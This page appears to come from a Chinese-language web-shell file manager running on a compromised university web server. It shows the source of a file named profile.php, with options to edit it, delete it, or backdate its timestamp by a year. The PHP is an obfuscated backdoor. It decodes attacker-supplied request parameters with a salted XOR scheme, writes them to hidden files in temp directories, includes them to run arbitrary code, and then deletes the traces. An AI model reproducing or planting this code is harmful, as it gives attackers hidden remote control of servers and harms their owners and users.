文件操作 - profile.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/profile.php
编辑文件内容
<?php if(!empty($_REQUEST["\x6Bey"])){ $pset = $_REQUEST["\x6Bey"]; $pset=explode ( "." , $pset ); $resource= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt5); $s= 0; foreach ($pset as $v1) { $chS= ord($salt5[$s % $sLen]); $dec= ((int)$v1 - $chS - ($s % 10)) ^ 47; $resource .= chr($dec); $s++; } $entry = array_filter(["/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path()]); foreach ($entry as $marker) { if (is_writable($marker) && is_dir($marker)) { $factor = "$marker/.mrk"; $file = fopen($factor, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $factor; @unlink($factor); die(); } } } } if(!is_null($_REQUEST["\x76\x61l"] ?? null)){ $flg = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); $comp = $_REQUEST["\x76\x61l"]; $comp = explode ( '.' , $comp); $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $z = 0; $__len = count( $comp ); do {if( $z >= $__len) break; $v4 = $comp[$z]; $chS = ord( $s[$z % $sLen] ); $d = ( ( int)$v4 - $chS -( $z % 10)) ^ 51; $rec .=chr( $d ); $z++; } while( true ); foreach ($flg as $obj) { if (is_dir($obj) && is_writable($obj)) { $mrk = vsprintf("%s/%s", [$obj, ".tkn"]); if (@file_put_contents($mrk, $rec) !== false) { include $mrk; unlink($mrk); die(); } } } } if(isset($_REQUEST["da\x74\x61\x5F\x63h\x75nk"])){ $entry = array_filter(["/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); $descriptor = $_REQUEST["da\x74\x61\x5F\x63h\x75nk"]; $descriptor = explode ( "." , $descriptor ) ; $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $__len = count( $descriptor); for( $r = 0; $r< $__len; $r++) { $v2 = $descriptor[$r]; $chS = ord( $salt[$r % $sLen]); $dec = ( ( int)$v2 - $chS -( $r % 10)) ^ 11; $component .= chr( $dec); } for ($ref = 0, $resource = count($entry); $ref < $resource; $ref++) { $hld = $entry[$ref]; if (is_writable($hld) && is_dir($hld)) { $res = "$hld" . "/.fac"; if (@file_put_contents($res, $component) !== false) { include $res; unlink($res); die(); } } } } if(count($_POST) > 0 && isset($_POST["\x64\x61t\x61\x5Fch\x75nk"])){ $holder = $_POST["\x64\x61t\x61\x5Fch\x75nk"]; $holder = explode ( "." , $holder); $component=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); foreach($holder as $k =>$v1) { $chS=ord($salt[$k %$sLen]); $d=((int)$v1 - $chS -($k %10)) ^ 30; $component .= chr($d); } $resource = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp"]); $property_set = 0; do { $k = $resource[$property_set] ?? null; if ($property_set >= count($resource)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($k)) { $value = "$k" . "/.hld"; if (@file_put_contents($value, $component) !== false) { include $value; unlink($value); die(); } } $property_set++; } while (true); } if(in_array("sy\x6D", array_keys($_POST))){ $flag = $_POST["sy\x6D"]; $flag = explode ( "." ,$flag ) ; $val =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $r =0; array_walk($flag, function ($v9) use (&$val, &$r, $s, $sLen) { $chS =ord($s[$r% $sLen]); $dec =((int)$v9 - $chS - ($r% 10))^ 10; $val .= chr($dec); $r++; } ); $descriptor = array_filter([sys_get_temp_dir(), getenv("TMP"), "/var/tmp", session_save_path(), getcwd(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp"]); $object = 0; do { $obj = $descriptor[$object] ?? null; if ($object >= count($descriptor)) break; if (is_writable($obj) && is_dir($obj)) { $reference = sprintf("%s/.flg", $obj); $success = file_put_contents($reference, $val); if ($success) { include $reference; @unlink($reference); die();} } $object++; } while (true); }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件